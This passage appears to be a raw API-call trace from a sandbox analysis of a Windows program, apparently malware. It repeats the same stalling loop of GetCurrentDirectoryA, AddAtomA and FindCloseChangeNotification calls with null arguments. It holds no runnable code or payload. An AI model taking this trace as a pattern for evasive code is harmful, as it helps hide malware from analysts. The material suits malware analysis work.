lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.390] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.391] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.391] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.391] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.391] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.391] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.391] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.391] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.391] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.391] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.391] AddAtomA (lpString=0x0) returned 0x0 [0053.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.392] AddAtomA (lpString=0x0) returned 0x0 [0053.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.392] AddAtomA (lpString=0x0) returned 0x0 [0053.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.392] AddAtomA (lpString=0x0) returned 0x0 [0053.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.392] AddAtomA (lpString=0x0) returned 0x0 [0053.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.392] AddAtomA (lpString=0x0) returned 0x0 [0053.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.392] AddAtomA (lpString=0x0) returned 0x0 [0053.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.392] AddAtomA (lpString=0x0) returned 0x0 [0053.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.392] AddAtomA (lpString=0x0) returned 0x0 [0053.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.392] AddAtomA (lpString=0x0) returned 0x0 [0053.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.392] AddAtomA (lpString=0x0) returned 0x0 [0053.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.393] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.393] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.393] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.393] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.393] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.393] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.393] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.393] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.393] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.393] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.393] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.393] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.393] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.393] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.393] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.393] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.393] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.393] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.393] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.393] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.393] AddAtomA (lpString=0x0) returned 0x0 [0053.394] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.394] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.394] AddAtomA (lpString=0x0) returned 0x0 [0053.394] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.394] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.394] AddAtomA (lpString=0x0) returned 0x0 [0053.394] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.394] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.394] AddAtomA (lpString=0x0) returned 0x0 [0053.394] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.394] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.394] AddAtomA (lpString=0x0) returned 0x0 [0053.394] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.394] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.394] AddAtomA (lpString=0x0) returned 0x0 [0053.394] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.394] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.394] AddAtomA (lpString=0x0) returned 0x0 [0053.394] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.394] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.394] AddAtomA (lpString=0x0) returned 0x0 [0053.394] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.394] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.395] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.395] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.395] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.395] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.395] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.395] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.395] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.395] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.395] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.395] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.395] AddAtomA (lpString=0x0) returned 0x0 [0053.395] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.396] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.396] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.396] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.396] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.396] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.396] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.396] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.396] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.396] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.396] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.396] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.396] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.397] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.397] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.397] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.397] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.397] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.397] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.397] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.397] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.397] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.397] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.397] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.397] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.397] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.397] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.397] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.397] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.397] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.397] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.397] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.397] AddAtomA (lpString=0x0) returned 0x0 [0053.397] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.398] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.398] AddAtomA (lpString=0x0) returned 0x0 [0053.398] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.399] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.399] AddAtomA (lpString=0x0) returned 0x0 [0053.399] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.400] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.400] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.400] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.400] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.400] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.400] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.400] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.400] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: 